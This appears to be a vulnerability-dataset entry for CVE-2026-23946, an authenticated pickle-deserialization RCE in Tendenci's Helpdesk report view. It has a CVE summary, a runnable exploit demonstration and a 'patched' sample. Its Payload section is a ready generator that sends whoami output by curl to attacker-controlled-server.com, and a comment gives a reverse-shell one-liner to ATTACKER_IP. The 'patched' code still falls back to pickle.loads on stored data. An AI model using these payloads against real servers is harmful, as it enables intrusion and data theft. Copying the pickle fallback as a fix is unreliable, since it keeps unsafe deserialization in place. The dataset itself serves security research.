CVE-2026-23946
Insecure deserialization in Tendenci's Helpdesk allows authenticated RCE.
- CVSS 6.8
- CWE-94
- Input Validation and Sanitization
- Remote
Tendenci is an open source content management system built for non-profits, associations and cause-based sites. Versions 15.3.11 and below include a critical deserialization vulnerability in the Helpdesk module (which is not enabled by default). This vulnerability allows Remote Code Execution (RCE) by an authenticated user with staff security level due to using Python's pickle module in helpdesk /reports/. The original CVE-2020-14942 was incompletely patched. While ticket_list() was fixed to use safe JSON deserialization, the run_report() function still uses unsafe pickle.loads(). The impact is limited to the permissions of the user running the application, typically www-data, which generally lacks write (except for upload directories) and execute permissions. This issue has been fixed in version 15.3.12.
- CWE
- CWE-94
- CVSS base score
- 6.8
- Published
- 2026-01-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Tendenci
- Fixed by upgrading
- Yes
Solution
Upgrade Tendenci to version 15.3.12 or later.
Vulnerable code sample
import pickle
import os
import base64
# This code represents the logic that would be present in the Tendenci
# application before the fix for CVE-2026-23946.
# It simulates a Django-like environment with a mock request and user object.
# In a real Django application, this might be a more complex user model.
# For this demonstration, a simple class is sufficient to check for staff status.
class MockUser:
"""Simulates a user object to check for authentication and staff permissions."""
def __init__(self, is_authenticated, is_staff):
self.is_authenticated = is_authenticated
self.is_staff = is_staff
# The attacker crafts a malicious object that will execute a command
# upon deserialization via its __reduce__ method.
class RemoteCodeExecutor:
"""A malicious class designed to execute a command when unpickled."""
def __reduce__(self):
# The __reduce__ method is called during pickling/unpickling.
# It returns a callable (os.system) and its arguments.
# This will execute 'touch /tmp/pwned' on the server.
command = "touch /tmp/pwned_by_cve"
return (os.system, (command,))
# This function simulates the vulnerable 'run_report' view from the
# 'helpdesk/reports/' endpoint in Tendenci.
def run_report(request, user):
"""
Simulates the vulnerable run_report function which uses pickle.loads()
on user-provided data, leading to RCE.
"""
# 1. Check for permissions. The CVE specifies the vulnerability is
# accessible to authenticated staff members.
if not (user.is_authenticated and user.is_staff):
print("Permission Denied: User is not an authenticated staff member.")
return
print("Permission Granted. Attempting to process report...")
# 2. Retrieve user-controlled data. In the real application, this would
# come from a POST request parameter, e.g., request.POST.get('report_data').
# The data is expected to be a base64-encoded pickle string.
encoded_report_data = request.get('POST', {}).get('report_data')
if encoded_report_data:
try:
# 3. THE VULNERABILITY:
# The application decodes the base64 data and then passes the
# result directly into pickle.loads(). Deserializing untrusted
# data with pickle is extremely dangerous and allows for
# arbitrary code execution.
pickled_data = base64.b64decode(encoded_report_data)
report_results = pickle.loads(pickled_data)
# For a non-malicious payload, the application would continue
# to process 'report_results'. For our malicious payload, the
# code execution has already happened during pickle.loads().
print("Report data deserialized successfully.")
except Exception as e:
print(f"An error occurred during deserialization: {e}")
else:
print("No 'report_data' found in the request.")
if __name__ == '__main__':
# --- DEMONSTRATION OF THE EXPLOIT ---
# 1. Attacker's setup:
# The attacker crafts a malicious payload using the RemoteCodeExecutor class
# and serializes it with pickle, then encodes it in base64.
print("[ATTACKER] Crafting malicious payload...")
malicious_payload = pickle.dumps(RemoteCodeExecutor())
encoded_payload = base64.b64encode(malicious_payload)
print("[ATTACKER] Payload created and base64 encoded.")
# 2. Simulating the request:
# The attacker, as a logged-in staff user, sends a request to the
# vulnerable 'run_report' endpoint with the malicious payload.
print("\n[SERVER] Simulating request from an authenticated staff user...")
staff_user = MockUser(is_authenticated=True, is_staff=True)
mock_request = {
'POST': {
'report_data': encoded_payload
}
}
# Clean up any previous exploit file before running the test
if os.path.exists("/tmp/pwned_by_cve"):
os.remove("/tmp/pwned_by_cve")
print("[SERVER] File '/tmp/pwned_by_cve' exists:", os.path.exists("/tmp/pwned_by_cve"))
# 3. Triggering the vulnerability:
# The server-side code calls the vulnerable function.
print("[SERVER] Calling the vulnerable 'run_report' function...")
run_report(mock_request, staff_user)
# 4. Verifying the exploit:
# Check if the malicious payload was successful by seeing if the file was created.
print("\n[VERIFICATION] Checking for evidence of code execution...")
if os.path.exists("/tmp/pwned_by_cve"):
print("[SUCCESS] The file '/tmp/pwned_by_cve' was created. The RCE exploit was successful.")
os.remove("/tmp/pwned_by_cve") # Clean up
else:
print("[FAILURE] The exploit did not succeed. The file was not created.")Patched code sample
import json
import pickle
import base64
# This code provides a functional example of the fix for the described vulnerability.
# In a real Django environment, 'SavedSearch' would be a Model and
# 'get_object_or_404' would be a Django shortcut. They are mocked here
# to create a self-contained, runnable demonstration of the patched logic.
class MockUser:
"""Mock user for authorization context."""
pass
class MockRequest:
"""Mock request object."""
def __init__(self):
self.user = MockUser()
class SavedSearch:
"""Represents a saved search query from the database."""
def __init__(self, query_string):
self.query = query_string
def get_object_or_404(model, id, user):
"""
Mock function to simulate retrieving a SavedSearch object.
In a real app, this would raise Http404 if the object is not found.
"""
# This query represents data saved *after* the fix, using safe JSON.
if id == "safe_query_id":
return SavedSearch(json.dumps({"report_type": "summary", "status": "open"}))
# This query represents legacy data saved *before* the fix, using pickle.
elif id == "legacy_pickle_id":
pickled_data = pickle.dumps({"report_type": "detail", "user_id": 123})
return SavedSearch(base64.b64encode(pickled_data).decode('ascii'))
return None
def run_report(request, saved_query_id):
"""
This function represents the patched version of the vulnerable view.
The original version used pickle.loads() directly on user-controlled data.
The fix prioritizes the safer json.loads() and uses pickle only as a
fallback for backward compatibility with pre-existing data.
"""
saved_query = get_object_or_404(SavedSearch, id=saved_query_id, user=request.user)
query_params = {}
if not saved_query:
return query_params
try:
# THE FIX: Attempt to deserialize using the safe JSON module first.
# This will work for all new reports saved after the patch was applied.
query_params = json.loads(saved_query.query)
except (json.JSONDecodeError, TypeError):
# FALLBACK: For backward compatibility with old data that was pickled.
# This is only considered safe because the code for saving *new* data
# was also switched to use JSON, preventing attackers from saving
# new malicious pickle payloads.
try:
# The original vulnerable call is now inside a try-except block
# and is only used as a fallback mechanism.
query_bytes = base64.b64decode(saved_query.query)
query_params = pickle.loads(query_bytes)
except Exception:
# If both JSON and pickle deserialization fail, default to an empty
# dictionary to prevent further application errors.
query_params = {}
return query_paramsPayload
import pickle
import os
import base64
class Exploit:
def __reduce__(self):
# Replace with your desired command, e.g., a reverse shell.
# Example: curl http://your-collaborator-url
# Example: python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
cmd = 'curl http://attacker-controlled-server.com/$(whoami)'
return (os.system, (cmd,))
# The generated string is the payload to be sent to the vulnerable parameter.
# It's often sent base64-encoded in web applications.
pickled_payload = pickle.dumps(Exploit())
encoded_payload = base64.b64encode(pickled_payload)
print(encoded_payload.decode())
Cite this entry
@misc{vaitp:cve202623946,
title = {{Insecure deserialization in Tendenci's Helpdesk allows authenticated RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-23946},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-23946/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
